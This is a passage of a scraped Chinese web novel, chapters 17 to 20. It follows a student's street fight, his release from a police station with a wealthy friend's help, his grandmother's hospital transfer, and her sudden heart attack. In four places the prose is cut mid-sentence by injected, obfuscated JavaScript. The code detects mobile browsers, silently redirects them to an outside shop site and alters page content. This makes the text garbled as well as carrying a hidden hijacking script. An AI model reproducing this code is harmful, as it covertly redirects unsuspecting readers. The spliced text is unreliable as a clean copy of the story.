听到这句话的一瞬间,裴亭松脸上的血色一瞬间就褪得干干净净,随即,一股巨大的愤怒在他的胸腔处翻涌。
裴亭松浑身都在颤抖,他死死的瞪着徐行,语气也充满着因为愤怒而带来的沙哑,“你他妈敢?!”
拳头越捏越紧,指甲深深的掐进掌心,裴亭松就这么听着徐行那轻飘飘的声音传了过来。
他说,“那你猜我敢不敢?”
17. 第十七章
‘你猜我敢不敢?’
这句话轻飘飘的,却又这么轻易的就戳破了裴亭松强装出来的镇定。
死死的盯着徐行,裴亭松几乎是从喉咙里挤出来了一句话,“你说话最好给我放尊重一点!别自己什么样就看别人也是什么样,我身正不怕影子斜,有什么事情你就冲我来,别去打扰我奶奶!”
“还尊重?身正不怕影子斜?”徐行像是听到了天大的笑话一样,他指了指裴亭松身上的那件外套——这件外套是因为一次下雨陆洵强行塞给他的。
但徐行不需要这些解释,他像是抓住了一个痛点一样不停的攻击道,“我们光明磊落的裴大学霸都穿上一件几万块的私人定制了,还在这给我说什么身正不怕影子斜,你好不好笑啊?”
说到这,徐行上前一步,他语气也越发的恶毒,“裴大学霸书读得比我好,就算你是真的干净,但你也听过众口铄金积毁销骨吧?你现在出去打听打听,二代圈子里还有谁不知道你现在是我们陆少爷的心头好,你还有什么脸说这是脏水?你洗的干净吗?别人听你的解释吗?”
听到这,裴亭松只觉得自己的脑子轰的一声,他感觉整个世界都在晃。
那些被刻意忽略的细节,那些只要他一走近就停止的窃窃私语,那些充满窥探欲的眼睛,那些刻意的、虚假的友好......原来那些他拼命维护的尊严,在一些人的眼里,甚至比不上一件衣服的价值,哪怕为了维护他的尊严,陆洵拿的是一件不知道他穿过多少次的旧衣服。
这个世界到底怎么了?人们怎么只愿意相信他们想相信的事情。
真相到底怎么样不重要,他们只是想看到干净的东西变脏,用来满足他们那些卑劣的、上不得台面的、阴暗的嫉妒心。
看着徐行的脸,裴亭松的胃里涌上了一股巨大的恶心。
他心想。眼前的这个人,这个肮脏的、狭隘的、令人恶心的人、他真的该去死。
想到这,所有的理智彻底崩盘。裴亭松的脑海里什么都不剩了,他只想让眼前的这个人付出代价。于是低吼一声,裴亭松像一只敏捷地豹子似的猛地朝着徐行扑了过去。
徐行没想到裴亭松居然还敢动手,于是他猝不及防地被扑倒在地。
起初,徐行还自视身份,他一边抵挡一边大吼道,“裴亭松!你疯了?!你有病是不是?!为了点流言蜚语你就要跟我动手?!”
话音一句高过一句,但裴亭松此刻什么都听不进去,双手紧紧的掐着徐行的脖子,裴亭松用尽了自己的力气。
窒息感开始传来的时候,徐行知道裴亭松这是动真格的了,于是他也开始了剧烈的反击,拳头像雨点一样的落下,两个人就这么在昏暗的巷子里扭打了起来。
“住手!快住手!”
一片狼藉中,一个路过巷子的行人看到这一幕吓得连忙报了警。
/
与此同时,几公里外的陆家别墅。
陆洵正强打着精神在听栾绣晶兴致勃勃准备的慈善晚宴,“那一天外婆也会来呢,我跟她讲,我说Lucien最近好像谈恋爱了,外婆一听,说什么也要回来看看那孩子呢......”
这句话里的问题实在是太多了,陆洵一时之间甚至都不知道该先反驳哪一句。到最后,陆洵觉得还是应该先挽救一下自己的名声,“我都不知道我恋爱了......”
反驳的话说到一半,陆洵的脑海里又突然炸响了系统那尖锐的警报。
【警告!警告!宿主!不好了!任务目标进局子了!】
骂人的话还在嘴里没说出来,陆洵就被这一句话吓到了,猛地坐直了身体,陆洵差点打翻了手边的咖啡,“你说什么?!进哪了?!”
他这一瞬间的动作太大,把栾绣晶都吓了一跳,“你这孩子,没恋爱就没恋爱嘛,你突然坐起来干什么?”
陆洵此时没时间回应自家母亲的话,他急忙忙的在脑海里接着问道,“系统,你赶紧把事情给我说清楚!”
怎么他就一晚上没去接裴亭松下班,这人就出事了?!
【根据警方的通报,任务目标裴亭松因为和人渣徐行在公共场合斗殴,现在已经被带回德勒路派出所了。】
“互殴?和徐行?!”陆洵的脸色一瞬间阴沉得能滴出水来,“这个徐行,我还没去找他,他倒是先找上门来了!裴亭松怎么样?他受伤没有?”
【888没办法精确扫描任务目标的身体状况,但他此刻正在派出所等待保释。】
听到这,陆洵再也坐不住了,顾不得和栾绣晶打招呼,陆洵一把抓起车钥匙就出了门,他心里又气又急,语气也重了点,“裴亭松对自己没点认知吗?遇到事情不知道跑吗?就他那个小身板,他能打赢谁?!”
【原世界线上,任务目标每次碰到无法忍受的事情时,几乎都动手了。】
说到这,888默默补充道,【虽然他每次都没打赢就是了......】
这句话就像一根针一样,听到系统的这句话,陆洵一瞬间就沉默了下来。他心想就是因为裴亭松的这个脾气,他太倔强、太硬气、站得太笔直,才会吸引到他们这些人。
有时候,陆洵会想,也许裴亭松的骨头软一点,他会过得没那么幸苦,可也就是因为裴亭松的骨头这么硬,他才是裴亭松。
油门踩到底,陆洵什么都没说,开始朝着派出所的位置飞速前进了起来。
/
德勒路派出所。
裴亭松独自坐在一个冰冷的金属长椅上,他低着头,满脸的阴郁。
警察刚刚说需要家属或者朋友来保释。
家属?家属他只有一个奶奶,但裴亭松是绝不会把这件事告诉奶奶的。
朋友?朋友他几乎没有。
裴亭松刚刚打完架,脑子还昏昏沉沉的,这件事情一出来,他浑身上下又升起了一股巨大的无力。轻轻的叹了口气,裴亭松就这么把头埋进了膝盖里。
他此刻能想到的朋友就只有陆洵这么一个人,但裴亭松实在是不想再去麻烦陆洵了,而且这件事还这么的不好看,不知道是处于什么心理,但裴亭松就是不想让陆洵看到他现在的这个状态。
太难看了。
可就在他满心麻木的时候,裴亭松的头顶上突然传来了一阵轻柔的力道,“小可怜。”
听到这道声音的一瞬间,裴亭松就这么茫然的抬起了头。
逆着光,陆洵就这么一身光亮的站在了他的面前。
看到裴亭松的一瞬间,陆洵其实是想狠狠地揉一把裴亭松的头发以示惩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686049|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
罚的,他刚刚来的时候就听门外的警察说了,裴亭松从进来到现在,他一句话没说,也没主动找人寻求保释。
于是陆洵闻言气得不轻,他心想裴亭松永远都是这个闷葫芦的样子,遇到事情从来都不知道说,就只知道一个人硬抗。
可看清裴亭松的一瞬间,陆洵所有的粗暴动作都停下了。
眼前的裴亭松,狼狈的像是一只被雨打碎翅膀的蝴蝶似的。他嘴角破了一块,渗出了细密的血丝。眼尾和额角也带着明显的青紫和擦伤。平时整齐的发丝此刻也凌乱不堪地贴在他的额头上,有几缕甚至就这么混着血痂沾黏在一起。
但最让陆洵震惊的,还是裴亭松的眼睛,他那往常全是倔强和不服的锋利眼神消失了,只剩下了一股无助和迷茫,湿漉漉的,彷佛一碰就会碎掉似的。
一种惊心动魄的、脆弱的漂亮。
于是陆洵的心脏猛地疼了一下,所有的怒火消失不见,陆洵最终也只是轻轻的、轻轻的揉了揉裴亭松的头发。
掌心顺势往下,陆洵轻轻碰了碰裴亭松的脸颊,他的声音很轻,带着小心翼翼的哄,“我来了,没事,不怕了啊。”
裴亭松就这么直勾勾的看着他,一双漂亮的眼睛里晶莹剔透,但他一句话也没说。
看到裴亭松这个样子,陆洵更心疼了,看着在一旁等待保释的徐行,陆洵的声音冷得刺骨,“徐行是吧?我还没去找你,你倒是送上门来了啊。”
听到陆洵的这句话,徐行立刻阴恻恻的看了过来,“你没找我,你没找我我怎么被停职了?!”
“因为人在做天在看。”
慢慢的走过去,陆洵就这么居高临下的看着徐行,“自己做过什么事都忘了吧?我只是给你们徐家打了个招呼,他们就连忙马不停蹄的把你给除名了,你还不知道是为什么吗?”
“本来,为了裴亭松的名声,我不想把事情做绝。给你,也给你们徐家留点脸,但你不要啊。”
说到这,陆洵微微俯身,他就这么一字一句,用只有两个人才能听到的声音威胁道,“那你猜,我陆洵,会不会让你们徐家,在整个江城都彻底没脸呢?”
这句话说完,陆洵直起身之后还对着徐行轻笑了一下,“别把它当威胁,我陆洵说到做到。”
听到这句话,徐行脸上的血色一瞬间褪了个干净,他瞪大了眼睛吼道,“陆洵!你不能这样!”
“我当然可以这样。”
徐行的声音越发刺耳了,他整个人都变得癫狂了起来,“就为了一个婊/子,陆洵!你就要把事情闹到这个地步吗?!你看上的不过是一个除了脸一无所有的婊/子!你以为你能新鲜多久?!我们明明才是同一类人啊!”
听到这句话的瞬间,陆洵立刻转身二话没说地朝着徐行狠踹了一脚,他这一脚用了十足十的力气,徐行因为这巨大的冲击力整个人都飞了出去。
嘭的一声,声音大到吸引了门外值班的警察。
“干什么呢?!都安静点!”
压下眉眼,陆洵气急反笑,他就这么轻柔柔的说道,“我本来不确定,但现在,你如果还能在江城混下去,那就是我陆洵没本事了,现在。”
冷冰冰的指尖掐着徐行,陆洵一字一句的说道,“你他妈的去给我道歉。”
18. 第十八章
有陆洵出面,一切都很轻易,裴亭松很快就被保释了出来。
而徐行因为寻衅滋事扰乱社会治安还需要在派出所待一段时间。
刚走出派出所,一阵入秋的冷风就裹着细密的雨丝迎面打了过来,裴亭松身上的衣服早就因为刚刚的扭打而破了几个大洞,风一吹,他就克制不住的轻轻咳嗽了起来。
陆洵听着耳边的咳嗽声,又看了看裴亭松缩在一团的身影,他心里的那股火又升起来了。
但该怪谁呢?能怨裴亭松吗?
怎么能怨裴亭松呢?
系统说这个世界是一本书,陆洵一开始就把这句话当一个笑话听,因为他所经历的一切都是活生生的,没有谁是机械刻板的,整个世界是真实的。
他是真的,裴亭松也是真的。
但现在,陆洵开始忍不住的埋怨了起来,他心想,如果整个世界真的是一本书的话,那创造出裴亭松的人到底是谁?到底为什么要让他经历这些事情?
创作者怎么能不爱自己的主角呢?
如果每个世界都是一本书的话,那他一定要诅咒写出这些悲惨世界的人穿越到自己的书里,让他们自己去体验体验这种人生!
陆洵不光这样想,他还去怂恿系统,“系统,如果你下次还要去绑定宿主,你就去看看那些写出这些书的人,你让他们自己亲自经历一下这些事情。”
888不懂陆洵话里的深沉意思,听见这句话,它似懂非懂的应了下来,【好哦。】
偏头再看一眼,裴亭松把自己整个人都缩了起来,他像是一只被雨打湿的幼鸟一样,自己的羽毛没有长成,也没有遮雨的屋檐,却依旧固执地不愿意开口去寻求旁人的帮助。
长而直的睫毛被雨汽濡湿,衬得他的黑眼珠也湿漉漉的,明明该是一副脆弱的美人图,但裴亭松的眼神却又恢复成了那副倔强的模样。
看守所内那一瞬间的脆弱好像是陆洵的错觉一样,快得一闪而过。
看到他这个样子,陆洵的气也撒不出来了,烦躁的撩了一把自己的头发,陆洵动作粗暴的把自己身上的外套给脱了下来,然后他就这么不由分说的把外套披在了裴亭松的身上。
将对方整个人严严实实的裹住,陆洵还不解气的狠揉了一把裴亭松的头发,“裴亭松!你真的是要气死我了!”
陆洵的外套和他这个人一样,带着强烈的侵入感,鼻尖涌入的全都是陆洵身上那股特有的冷冽香气,裴亭松整个人都被这股香味包围着,就好像是......就好像是陆洵借着这个外套把他抱在了怀里一样。
湿漉漉的眸子就这么直勾勾的盯着陆洵看,陆洵被这股眼神看得没脾气了。到最后,他轻叹了一口气,语气里满满的全是无奈,“遇到事情......你都不知道给我说一声吗?刚刚也是,冷你为什么不给我说一声呢?”
裴亭松闻言就这么看着陆洵,好半响,他一句话也没说的低下了头。看到对方这个样子,陆洵又叹了口气,他什么都问不出来了,只能抓紧时间带着裴亭松上了车。
雨势渐渐大了起来,打开雨刷,陆洵没急着走。
指尖轻轻敲着方向盘,陆洵在脑海里小心翼翼的措辞着,好半响,他才看着裴亭松一字一句斟酌地开口道,“徐行,他是不是用奶奶威胁的你?”
没等裴亭松回答,陆洵接着道,“我想了想,奶奶现在的住院条件也不好,明莱那边的医疗环境还有专家都比她现在住的这个医院要好。到了明莱,我还能给奶奶安排最好的医疗资源,也没人能打扰她了。所以,我们给奶奶办一个转院吧?”
陆洵这话一出,车内的整个气氛瞬间压抑了起来。
徐行的那些话再次萦绕在耳边,于是想也没想的,裴亭松立刻斩钉截铁的拒绝道,“不行。”
“为什么不行?”
裴亭松却没答话了,他就这么自顾自的低下了头,一时之间,整个车厢内都只剩下了打在车窗上那道淅淅沥沥的雨声。
雨声寂寥,伴着连绵不断的水汽,衬得车厢内的气氛越发沉重了起来
看到对方这个拒绝合作的样子,陆洵满心的不解,“你说话啊,现在转院的话是对奶奶最好的选择,我能给她最好的住院环境还有医疗资源,不比她现在八个人住一间房要好吗?你到底在纠结什么?!”
陆洵是真的不解,话说到最后甚至带上了点火。
听完陆洵的话,裴亭松终于抬起了头,他就这么看着陆洵然后深深地叹了口气,“我当然知道啊,我知道你能给奶奶安排最好的,只要你一句话的功夫就可以,可是然后呢?”
“然后?”
“对啊。然后。”裴亭松说着点了点头,因为激动,他的眼尾都染上了一抹红,“然后我又欠了你一件事。”
深吸一口气,把汹涌的情绪压回去,裴亭松哑着嗓子道,“你难道不明白吗?我不想再欠你的了!我欠你的东西已经够多了,我快还不起了!我真的还不起了......”
“我根本也没想让你还啊!”陆洵听到这猛地锤了一把方向盘,刺耳的喇叭声在寂静的夜里格外的明显,“我陆洵给出去的东西,帮过的忙,我根本没想让谁还!你非要和我算的这么清楚吗?!”
“不算清楚怎么办?!”裴亭松听到这句话也吼了回去,一直压抑着的情绪终于爆发,裴亭松指着自己身上的那件外套吼道,“你看看我!我身上穿的衣服是你给的!今天惹出来的麻烦也是你解决的!平时遇到的那些人碰到我都客客气气的!我嘴上比谁都硬气,说什么要靠我自己......可是呢?!”
说到这,裴亭松的声音低了下去,他的语气里带着满满的疲惫和自我厌弃,“可实际上,我离了你什么都不是。在别人眼里,我先是依附着你的菟丝花然后才是我自己,我和那些得了便宜还卖乖的人有什么区别?再这样下去,我自己都要看不起我自己了。”
陆洵被他这一番话给砸懵了,看着裴亭松那张苍白的脸,陆洵的语气都带上了一股慌乱,“不是这样的!”
急急忙忙地伸出手想去牵住对方,却被裴亭松红着眼睛甩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686050|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开了,“不是这样是哪样?!”
对方的反问激烈,陆洵深吸一口气强迫自己冷静下来。
理智上,他知道裴亭松的纠结在哪里,可感情上,陆洵是真的不理解。
对于陆洵来说,裴亭松嘴里的那些帮助不过只是陆洵随随便便动动嘴皮子就能解决的事情,所以陆洵是真的不把它当一回事。可对于裴亭松来说,这就是他接受了陆洵帮助的事实。他不仅接受了,他还端着一副清高架子。
所以他自我厌弃。
看着这样的裴亭松,陆洵心里的气一下子就收了起来,转而弥漫上了一股浓重的心疼。
他心想就是因为裴亭松肩上的担子太重,自我要求也太高,裴亭松才会活得这么累,明明才二十来岁不是吗?
深深的看着对方那漆黑的眼睛,陆洵下意识的伸出了手,他似乎是想要碰碰裴亭松的侧脸,但看到裴亭松眼尾的那抹红时,陆洵犹豫了半响还是停了下来。
然后陆洵就这么看着裴亭松开了口,他声音放的很轻,语气也轻,近乎于哄般的说道,“这些钱,你都是要还给我的。”
听到这句话,裴亭松愣了一下。
看着对方迷茫的眼神,陆洵接着说道,“我是一个商人,给奶奶转院的费用,加上我之前借给你的也好,带你去玩的也罢,这些所有的钱,每一笔,我都给你记着呢。等到你将来毕业工作了,这些钱,你都是要连本带利地还给我的。”
说到这,陆洵就这么直勾勾地盯着裴亭松的眼睛,他一字一句都无比认真的接着道,“你难道不相信自己将来有能力把这些钱还给我吗?还是说,你觉得你裴亭松的未来就值这么点钱吗?”
陆洵的话来的突然,说的也太认真,裴亭松一时之间震惊地都忘记了反应。
他没反应,陆洵也没开口继续说话,一时之间,车内的气氛就又这么沉了下来。
不过这一次的沉却不显得沉重,而是蒙上了一层说不出道不明的温暖,暖意太过,近乎于暧昧。
好半响,裴亭松才收好情绪抬起了头,眼尾的红晕还没消下去,但裴亭松的眼神却没那么压抑了,他看着陆洵,声音很轻的问道,“陆洵......你,你为什么要帮我这么多?你其实根本没必要为了我做这些事情的。”
陆洵听见这话顿了顿,他张了张嘴想说些什么玩笑话搪塞过去,但一看到裴亭松那双认真的眼睛,那些轻浮的话就这么卡在了嘴里。
沉默了好半响,陆洵才轻声的答道,“不知道。可能......可能就是觉得,你不该是那个样子的吧。”
“哪个样子?”
这句话陆洵没回答了,伸出手发动车子,陆洵轻声道,“雨下大了,我先送你回学校。”
什么样子?
原剧情的那个样子。
到了这个时候,陆洵才后知后觉的想到,他之前的想法是错的,大错特错。
裴亭松这样的人,他天生就该站着,像他的名字一样,青松般笔直的站着,任何事情都不能压弯他的傲骨。
19. 第十九章
陆洵是一个急性子,说要转院,第二天他就通知了裴亭松。
有陆洵出面,奶奶的转院手续办得异常顺利,当天,陆洵就帮着裴亭松把一切的事情都安排好了。
八人间换成了明莱顶层的VIP病房,宽敞明亮,安静的甚至能听到窗外的风声。
张红丽看着这间病房甚至有些不适应,“亭亭啊,这有点太好了吧,安静的我都有点不适应了。”
说到这,张红丽顿了顿又接道,“这得不老少钱吧?”
听到这句话,裴亭松刚要接话呢,陆洵就率先弯下了腰,他牵着张红丽的手,笑得讨巧又卖乖,“奶奶,您就安心在这住着,您还不知道吧?我们学校和明莱有合作项目,这是学校特批的奖学金福利。”
“真的假的呀?”
“当然是真的呀。”陆洵笑得眉眼弯弯的,他就这么看着裴亭松的脸接着道,“我们亭松学习这么好,年年都是第一名,这就是学校专门为了让他们这些好学生没有后顾之忧设立的。您就安心在这住,这是亭松凭自己本身挣来的。而且这里的医生护士都特别专业,只要一有事,您就直接按铃就行了。”
看着陆洵的笑脸,还有他那一番滴水不漏的话,裴亭松愣了愣。
这样的陆洵他还是第一次见,脱下了那副矜贵的少爷样子,陆洵面对奶奶的时候语气又轻又缓,脸上甚至还挂上了一副堪称乖巧的笑容。
但最深处的底子还是没变的,陆洵还是那样一副见人说人话见鬼说鬼话的样子,明明是他一个人安排的特殊待遇,但陆洵偏偏就能说的好像是他裴亭松多么了不起一样。
但不管怎么样,陆洵这一番话下去,奶奶就能安心的在这里住下去了。
于是看着奶奶慈爱的眼神,裴亭松抿抿嘴点了点头,“对。奶奶您就安心在这住下去吧。”
听到这句话,张红丽眯着眼,她就这么满脸笑意的拍了拍陆洵的手,“好孩子,真的是麻烦你今天帮我跑上跑下了。”
“不麻烦,奶奶。”陆洵闻言笑得一脸真诚,“我和亭松是好朋友,亭松他学习好,性格也好,平时都是他帮我。这次能帮上他一点忙,我高兴还来不及呢。”
他一口一个亭松,叫的亲昵又自然,就好像他和裴亭松真的是认识了多少年的好朋友似的。
奶奶听着他这话笑着摇了摇头,“我们家亭亭我知道,他性子倔,听不进去别人的话,平时要麻烦你多担待点了。”
“怎么会,亭亭性子很好。”
陆洵说这句话的时候,一双弯成月牙的眼睛就这么明晃晃的盯着裴亭松看,他嘴角也挂着一抹笑意,整个人的气质都带着一股藏都藏不住的调笑。
陆洵装模作样地喊亭松时,裴亭松还能忍一下,他这句亭亭一出来,裴亭松的脸唰一下子就红了起来。
血液直冲脑仁,但奶奶还在这,裴亭松说不出什么难听话,于是就只能语无伦次的开始赶人,“那什么,你......你不是还有事吗?你怎么还不走?”
看着对方从脖子红到头顶的样子,陆洵笑得更得意了,他就这么看着裴亭松拉长了调子,“哦?我有事吗?”
“你当然有事了!”
眼见着对方都要炸毛了,陆洵放弃了逗猫,“我想起来了,我等下确实还有一门课。”
转身看着张红丽,陆洵收起了刚刚逗裴亭松时的纨绔气,他扶着床沿,一脸的乖巧,“那奶奶,我就先走了,您好好休息,我改天再来看你。”
话一说完,陆洵刚站起来,他就被裴亭松一把给推了出去,“学习重要,你快去吧。”
裴亭松的这句‘去吧’听起来就和赶人一模一样,他用的力道也不小,但陆洵却一点也不生气,他就这么笑着配合着裴亭松的力道走了出去。
走出门的一瞬间,陆洵凑近裴亭松的耳朵小声的又喊了句,“这么敏感啊,亭亭?”
亭亭这两个字伴随着陆洵说话时的气流,就这么轻柔的扫过了裴亭松的耳尖,羽毛般的触感,不疼,但痒的出奇,像触电一样,裴亭松的半边身子都要麻了。
刚消下去的红润卷土重来,带着比刚才还要猛烈的势头,身体的反应大过意识,脑子还没缓过来时,裴亭松的手就率先把陆洵推了出去,随后就是‘嘭’的一声关门声。
他动作太快,留给陆洵的就是一个刹那间红透了的耳尖。
掩着嘴,陆洵就这么笑了起来。
他笑得太好看,一双眼睛都弯成了月牙,整个人都弥漫着一股遮掩不住的风流得意。
/
房间内,张红丽就这么看着两个孩子的动作,过了好半响,等到裴亭松同手同脚的走过来时,奶奶才拉着裴亭松的手轻声问,“刚刚那个伢崽,他是我们亭亭很好的朋友哦?”
刚恢复正常的心脏又猛烈的跳动了起来,裴亭松顿了顿,垂下眼睫,他的喉咙有些微微发紧,“嗯,是朋友。”
听到这句话,张红丽的脸上露出了欣慰的笑容,轻轻拍了拍自己孙子的手背,她弯着眼睛笑道,“真好,难得我们亭亭也交到了知心的好朋友。奶奶看人准,那伢崽眼神正,是个靠得住的好孩子。”
“你呀,心思重,以后有什么事情别一个人扛着。有这么好的朋友,要懂得珍惜知道吗?”
听到这些话,裴亭松轻轻应道,“知道了。”
他说完这话之后就拿起了一个陆洵掂过来的苹果,低下头,裴亭松认认真真的削起了果皮。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686051|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张红丽就这么满脸慈爱的看着裴亭松的动作,伸出手轻轻揉了揉裴亭松的头顶,她语气柔和极了,但满眼都是愧疚,“这么多年,我的亭亭真的辛苦了。”
听到这句话,裴亭松立刻抬起了眼,“您瞎说什么呢?”
张红丽闻言笑了笑,顺着裴亭松的意思,她放过了这个话题,“奶奶这辈子最大的心愿,就是我们亭亭能开开心心的。不管以后......你是自己一个人,还是和哪个好孩子在一起生活,都要开开心心的。多笑一笑,别总皱着眉头,我们亭亭长得这么好,心地也好,谁都配得上,知道吗?”
她这番话里的意思太过明显,裴亭松敏锐的捕捉到了一种交代后事的感觉,于是沉下脸,裴亭松急急忙忙地打断了张红丽的话,“奶奶!您整天瞎想什么呢?!你就是累了,别多想这些乱七八糟的!”
“明莱可是整个明城最好的医院,陆洵找的也全是专家。您就在这安心的住着,过几天我们就能出院了。您要是想家了,今年过年我就带你回去。”
他完全没注意到这句话说漏了嘴,但张红丽也没戳穿他,仔细的看着裴亭松的脸,张红丽顺从的点了点头,“好,奶奶不想了。”
“那个小山沟,我们不回去,不让他们碎嘴。奶奶就在这陪着我们亭亭就开心。”
“好,那我就在这陪你。”
压下心里的那股不安,裴亭松开始继续削着那个苹果。
可不知道是不是心不静,裴亭松很快就削到了自己的手,怕奶奶担心,裴亭松压着那个伤口起身去了洗手间,“奶奶,我去上个厕所啊。”
处理好伤口之后,再次回到病房里,裴亭松就看到奶奶躺在床上睡着了。
老人家最近的精力越来越差劲,这也是裴亭松答应陆洵的一个最重要的原因。他心里总有一股莫名的不安,好像要发生什么不好的事情似的。
静静的看着奶奶安静的睡颜,裴亭松走到床边坐了下来,轻轻的叹了口气,他就这么牵住了奶奶的手。
老人家很快回握住了裴亭松的手,心跳渐渐平稳,裴亭松终于感到了安心。
就在这时,裴亭松放在桌子上的手机突然亮了一下,轻轻抽出被奶奶握住的手,裴亭松打开了手机。
Lucien:【都安排好了,最好的专家,单人看护,你别担心了。】
看到这句话,裴亭松抿了抿嘴,【嗯,谢谢。】
Lucien:【不谢。】
Lucien:【得意墨镜.jpg】
看到这个表情包,不知道怎么回事,裴亭松总感觉自己好像幻视看到了陆洵那副矜贵的少爷派头。
于是再次抿抿嘴,裴亭松的嘴角露出了一个小小的弧度。
20. 第二十章
今天一早,天色就沉得厉害,大片大片的灰色乌云遥遥的挂在天际线上,像是一副浓墨重彩的水墨画。
但这雨迟迟下不下来,空气里到处都弥漫着一股又湿又闷的潮热,黏在皮肤上,搅得裴亭松的心也跟着烦躁了起来。
不知道是不是因为天气的原因,裴亭松今天总觉得心里好像压了一块石头似的,他今天一整天的课都上的心不在焉的,教授的声音在耳边嗡嗡作响,却没办法钻进他的脑子里。
视线再次移向窗外,望着那片几乎要压到地平线上的铅灰色浓雾,裴亭松的心里莫名的开始发慌。
这种慌说不上缘由,但裴亭松却总觉得有什么东西堵在了自己的胸口。
他总感觉好像有什么不好的事情要发生似的,但到底要发生什么呢?
裴亭松琢磨不出来,也觉得这情绪莫名,于是只能强打起精神去听课。
好不容易撑到下课,裴亭松背着书包就开始随着人群往外走,刚走到教室门外,手机就掐着点的响了起来。
电话一接通,陆洵那带着笑意的声音就传了出来,“怎么样?下课了吧?”
陆洵的声音清亮,带着浓烈的少年气,听到他声音的一瞬间,压在裴亭松心口的烦闷好像都散了点,于是轻轻点了点头,裴亭松应道,“嗯,刚下课。”
“那晚上一起吃饭?我新发现一家特别地道的私房菜,你肯定喜欢。”
面对裴亭松时,陆洵说话好像总是笑着的,这句话也是,陆洵话语里的笑意遮都遮不住,裴亭松恍惚间总觉得自己好像也看到了陆洵嘴角勾起来的弧度。
于是他几乎没怎么犹豫的就答应了下来,“好啊。”
“行,那就说定了,半个小时后,我去你们宿舍楼下接你。”
挂断电话,裴亭松轻轻的吐出了一口气,把心里那股没由来的不安按下去,他加快了回宿舍的脚步。
裴亭松心想大概是因为最近的天气实在是太差劲了,几乎每天每天都在下雨,雨下的多了,人就会烦闷。
结果刚走出教学楼,尖锐的手机铃声突然又响了起来,炸起的手机铃声像一个炸弹似的,听的裴亭松心里一个咯噔。
一个陌生的座机号码,归属地是江城。
看到这个号码的一瞬间,裴亭松那刚恢复正常的心跳就停了一瞬,拳头不自觉的紧了紧,裴亭松停下脚步,按下了接听键。
电话那头是一个有些急切的女声,不等裴亭松先开口,她就迫不及待地说道,“请问是裴亭松先生吗?这里是明莱医院的心外科,张红丽女生刚刚突发心梗,情况非常危急,现在正在抢救!请你抓紧时间来一趟医院可以吗?”
伴随着她声音传来的一瞬间,天边那压抑了许久的雷声终于落了下来。
“轰隆——!”
嗡的一声,裴亭松只感觉一阵冰冷的寒意突然从脚底升起,然后瞬间便窜满了全身。他张了张嘴,却发不出任何的声音。
整个世界都安静了。
他感觉自己好像突然回到了小时候,村主任带人赶来说爸爸出事的那个下午,他被扔回了那个下午。
他什么都做不了,只能张大嘴巴,瞪着眼睛,然后被动的接受这一切。
“裴先生?裴先生您在听吗?”
“啊,我,我在听......”喉咙干涩的厉害,裴亭松感觉浑身都没了力气,他手抖的几乎握不住手机,“我,我知道了,我马上到。”
话音刚落,那酝酿了一整天的暴雨终于哗啦一下倾盆倒了下来,豆大的雨点一瞬间密集的砸了下来,天地间瞬间变成了白茫茫的一片。
裴亭松却依旧无知无觉的站在了雨里,他就这么仰着头看着灰色的天空,雨水砸进他的眼睛里,再顺着眼眶流出去。
裴亭松眨眨眼,感觉好像是天空在替他哭泣。
抢救......心梗......
这两个词在他的脑海里疯狂旋转,裴亭松好像被抽走了灵魂似的,他就这么愣在原地,直到手机铃声再次响起来,他才猛地惊醒了过来。
砸下来的雨点冰冷又刺骨,很快就聚集了大片的水坑,裴亭松就这么踩着一个个水坑转身朝着校门的方向跑去,踉跄着拦下了一辆出租车,裴亭松报
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686052|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出医院地址时,声音都是抖的。
急急忙忙的跑进医院,冲到抢救室的门口,听着护士一字一句地介绍手术风险时,裴亭松感觉自己好像生活在另外一个世界里,他好像悬在了半空,眼前的人嘴巴一开一合,但他却什么也听不到。
他有一种怎么压都压不下去的心慌恐惧,黑色水笔的冷硬触感都能让裴亭松联想到一些不好的预言。
扯着一块脸颊肉狠狠地咬下去,疼痛和血腥味一起弥漫在口腔时,裴亭松强迫自己镇定下来。
